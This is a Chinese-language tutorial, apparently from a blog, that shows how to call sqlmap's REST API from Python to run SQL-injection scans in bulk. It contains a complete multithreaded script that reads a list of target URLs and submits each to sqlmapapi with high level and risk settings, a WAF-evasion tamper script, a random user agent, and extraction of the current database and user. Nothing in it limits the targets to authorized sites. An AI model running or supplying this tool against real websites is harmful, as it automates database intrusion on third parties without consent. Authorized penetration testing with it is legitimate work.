调用sqlmapapi实现批量扫描网站
1、介绍
众所周知，sqlmap是一个非常强大的注入扫描工具。利用它可以自动化检测和利用SQL注入缺陷以达到接管控制网站后台数据库的目的。
但是再强大的工具总会存在一些缺陷的地方——比如每进行一个扫描任务，都需要再次开启一个命令行；使用相同的参数扫描网站时需要多次输入，浪费时间，效率低下。不过好在sqlmap提供了一个强大的api可以弥补这些缺陷。
sqlmapapi分为服务端和客户端，默认端口为8775。使用方法如下：
其中，-p参数可以指定端口号，-s参数是开启服务端，我们只需向sqlmapapi发送请求，就可以进行sql注入扫描，然后发送查询请求，就可以得到url是否存在注入点等其他详细的内容。
查看sqlmap文件中的sqlmapapi.yaml，可以看到使用了哪些函数和方法。
@get("/task/new")
@post("/scan//start")
@get("/scan//stop")
@get("/scan//status")
@get("/scan//data")
@get("/scan//log//")
@get("/scan//kill")
除去这些，还有其他管理函数和核心交互函数会用到。可以参考下面的图片。
但这不是重点，重点是下面的如何通过python代码调用sqlmapapi实现扫描网站的功能。
2、python代码调用sqlmapapi实现扫描功能
首先要先开启sqlmapapi服务端，在命令行中输入python.exe .\sqlmapapi.py -s开启。
使用requests库向/task/new发出get请求，会返回json格式的数据，从中会得到一个随机的taskid，也就是任务id。
向/option/’ + taskId + ‘/set发出post请求，其中带有扫描任务参数（url地址、sqlmap扫描参数等）。
向/scan/’ + taskId + ‘/start发出post请求，开始扫描任务。
向/scan/’ + taskId + ‘/status发出get请求，查看当前任务的扫描状态。
扫描完成后，向/scan/’ + taskId + '/data发出get请求，得到本次扫描的结果数据。
在这几次的请求中，需要提交的数据有data和header，如下：
header = {
'Content-Type': 'application/json'
}
data = {
'url': url, //url为要扫描的网站地址
'batch': True, //使用默认配置
'randomAgent': True, //随机ua头
'tamper': "space2comment", //使用给定的脚本进行注入
'tech': "BEUSTQ", //使用的 SQL 注入技术
'threads': 1, //线程数
'noCast': True, //关闭 payload 构造机制
'timeout': 10, //超时时间
'level': 3, //设置测试等级（1-5）
'risk': 3, //设置测试风险等级（1-3）
'getCurrentDb': True, //获取当前数据库名
'getCurrentUser': True, //获取当前用户名
}
效果如下：
扫描完成后，结果写入txt文本中，如下：
3、多线程调用sqlmapapi
多线程使用ThreadPoolExecutor，将调用sqlmapapi和向其发出请求写到一个方法中，主函数从“lianjie。txt”中读取要扫描的网站url，在线程池中分别向sqlmapapi发出请求，每一个请求都是独立的任务。当某次的扫描任务完成后，将扫描结果写入“jieguo。txt”中。代码如下：
import os
import requests
import json
from concurrent.futures import ThreadPoolExecutor
def sqlapi(url):
data = {
'url': url,
'batch': True,
'randomAgent': True,
'tamper': "space2comment",
'tech': "BEUSTQ",
'threads': 1,
'noCast': True,
'timeout': 10,
'level': 3,
'risk': 3,
'getCurrentDb': True,
'getCurrentUser': True,
}
header = {
'Content-Type': 'application/json'
}
try:
task_new_url = "http://127.0.0.1:8775/task/new"
res = requests.get(task_new_url)
taskId = res.json()['taskid']
if 'success' in res.content.decode('utf-8'):
task_set_url = 'http://127.0.0.1:8775/option/' + taskId + '/set'
task_set_res = requests.post(task_set_url, data=json.dumps(data), headers=header)
if 'success' in task_set_res.content.decode('utf-8'):
task_start_url = 'http://127.0.0.1:8775/scan/' + taskId + '/start'
task_start_res = requests.post(task_start_url, data=json.dumps(data), headers=header)
if ('success' in task_start_res.content.decode('utf-8')):
while 1:
task_status_url = 'http://127.0.0.1:8775/scan/' + taskId + '/status'
task_status_res = requests.get(task_status_url)
if ('running' in task_status_res.content.decode('utf-8')):
print('sqlmap正在运行中......')
pass
else:
task_data_url = 'http://127.0.0.1:8775/scan/' + taskId + '/data'
task_data_res = requests.get(task_data_url)
f.write("\n" + "检测链接为：" + url + "\n")
f.write(task_data_res.content.decode('utf-8'))
print("链接：" + url + "检测完成，结果已写入文本中")
break
else:
print("请检查是否安装sqlmap环境、sqlmapapi是否开启！！！")
exit()
except:
print("请检查是否安装sqlmap环境、sqlmapapi是否开启！！！")
exit()
if __name__ == '__main__':
list = []
try:
f = open(os.getcwd() + '\\jieguo.txt', 'a+')
for i in open(os.getcwd() + "\\lianjie.txt", "r").readlines():
list.append(i)
with ThreadPoolExecutor(5) as threadsexec:
for each in list:
threadsexec.submit(sqlapi, each)
print("任务已完成！")
except Exception as ex:
print(ex)
效果图如下：
